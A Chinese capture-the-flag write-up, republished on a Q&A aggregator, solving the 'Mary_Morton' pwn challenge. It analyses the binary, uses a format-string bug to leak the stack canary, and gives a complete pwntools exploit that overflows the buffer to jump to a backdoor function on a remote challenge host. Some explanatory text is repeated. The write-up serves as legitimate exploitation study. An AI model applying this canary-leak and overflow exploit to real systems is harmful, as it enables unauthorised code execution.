欢迎您访问365答案网,请分享给你的朋友!
生活常识 学习资料

攻防世界高手进阶区——Mary

时间:2023-04-26
攻防世界高手进阶区 ——Mary_Morton

不容易呀,这都已经是第七题了,继续加油!

一,老规矩,先分析一下文件

checksec一下

发现开启了栈溢出,可能这个题就是学习栈溢出漏洞绕过的。

运行一下

告诉了存在栈溢出漏洞和格式化字符串漏洞。

file文件

┌──(rootkali)-[/home/…/面/ctf_workstation/Offensive_and_defensive_world/Mary_Morton]└─# file Mary_Morton 127 ⨯Mary_Morton: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b7971b84c2309bdb896e6e39073303fc13668a38, stripped

是64位的文件。

上ida64

void __fastcall __noreturn main(int a1, char **a2, char **a3){ int choice; // [rsp+24h] [rbp-Ch] BYREF unsigned __int64 v4; // [rsp+28h] [rbp-8h] v4 = __readfsqword(0x28u); sub_4009FF(); puts("Welcome to the battle ! "); puts("[Great Fairy] level pwned "); puts("Select your weapon "); while ( 1 ) { while ( 1 ) { chioce_enter(); scanf("%d", &choice); if ( choice != 2 ) break; string_loudong(); // 格式化字符串漏洞 } if ( choice == 3 ) { puts("Bye "); exit(0); } if ( choice == 1 ) stack_overflow(); // 栈溢出漏洞 else puts("Wrong!"); }}

已经对函数和参数重新命名了

这是格式化字符串漏洞

unsigned __int64 sub_4008EB(){ char buf[136]; // [rsp+0h] [rbp-90h] BYREF unsigned __int64 v2; // [rsp+88h] [rbp-8h] v2 = __readfsqword(0x28u); memset(buf, 0, 128uLL); read(0, buf, 0177uLL); printf(buf); return __readfsqword(0x28u) ^ v2;}

这是栈溢出漏洞

unsigned __int64 sub_400960(){ char buf[136]; // [rsp+0h] [rbp-90h] BYREF unsigned __int64 canary; // [rsp+88h] [rbp-8h] canary = __readfsqword(0x28u); memset(buf, 0, 128uLL); // 初始化内存为0 read(0, buf, 0400uLL); printf("-> %sn", buf); return __readfsqword(0x28u) ^ canary;}

通过对汇编和C语言的分析,可以知道这两个函数都开启了栈溢出漏洞保护。

将fs寄存器偏移为0x28的数和rbp偏移为canary的数进行异或,然后根据结果跳转。

如果相同就跳转到下一个函数,如果不相同则跳转到___stack_chk_fail函数,程序结束并报错。

Canaries栈溢出保护的Canary一般在栈底前

-000000000000000E db ? ; undefined-000000000000000D db ? ; undefined-000000000000000C db ? ; undefined-000000000000000B db ? ; undefined-000000000000000A db ? ; undefined-0000000000000009 db ? ; undefined-0000000000000008 canary dq ?+0000000000000000 s db 8 dup(?)+0000000000000008 r db 8 dup(?)

这里补充一个readfsbyte的用法

__readfsbyte、__readfsdword、__readfsqword、__readfsword从相对于 FS 段开头的偏移量指定的位置读取内存。参数Offset中从开始读取的偏移量 FS 。返回值字节、字、双字或四长四 (的内存内容由位置) 名为的函数的名称指示 FS:[Offset] 。

二,解题思路

这里存在两个漏洞,还开启了canary栈溢出保护,于是我们可以通过格式化字符串漏洞来泄露canary的值,然后在栈溢出覆盖时将canary覆盖上去。

所以现在需要知道格式化字符串的偏移

┌──(rootkali)-[/home/…/面/ctf_workstation/Offensive_and_defensive_world/Mary_Morton]└─# ./Mary_MortonWelcome to the battle ! [Great Fairy] level pwned Select your weapon 1、Stack Bufferoverflow Bug 2、Format String Bug 3、Exit the battle 2aaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08xaaaa.4d2d1800.0000007f.d0b2d55e.99999999.00000000.61616161.30252e78.2e783830.3830252e.252e7838

这里可以看出来偏移量为6

知道偏移量后就可构造paylaod来泄露Canary的值了。

step = 6payload = '%' + str(136/8+step) + '$p'

三,EXP

from pwn import *p = remote('111.200.241.244',62353)#p = process('./Mary_Morton')context(os = 'linux',log_level = 'debug')system_addr = 0x4006A0#binsh_addr = 0x7ffff7f6f882#bincatflag_addr = 0x400b2bflag_addr = 0x4008dap.recvuntil('3、Exit the battle')p.sendline('2')p.sendline('%23$p')p.recvuntil('0x')canary=int(p.recv(16),16)print (canary)payload = 'a' * 0x88 + p64(canary) +'a'*8 +p64(flag_addr)p.sendlineafter('3、Exit the battle ','1')p.sendline(payload)p.interactive()

这里学会了一些新的python使用方法

int(x [,base]) ⇒ 将x转换为一个十进制的整数

str(object) ⇒ 转换为字符串

由于这里使用的是%p,所以需要将0x给去掉。

使用p.recvuntil()来去掉0x。

这里学会了一些新的python使用方法

int(x [,base]) ⇒ 将x转换为一个十进制的整数

str(object) ⇒ 转换为字符串

由于这里使用的是%p,所以需要将0x给去掉。使用p.recvuntil()来去掉0x。

后面就是简单的栈溢出处漏洞了,将buf的栈区给覆盖掉,然后将Canary的值以小端序的方式给覆盖上去。覆盖ebp地址,加上后门函数的地址即可。

Copyright © 2016-2020 www.365daan.com All Rights Reserved. 365答案网 版权所有 备案号:

部分内容来自互联网,版权归原作者所有,如有冒犯请联系我们,我们将在三个工作时内妥善处理。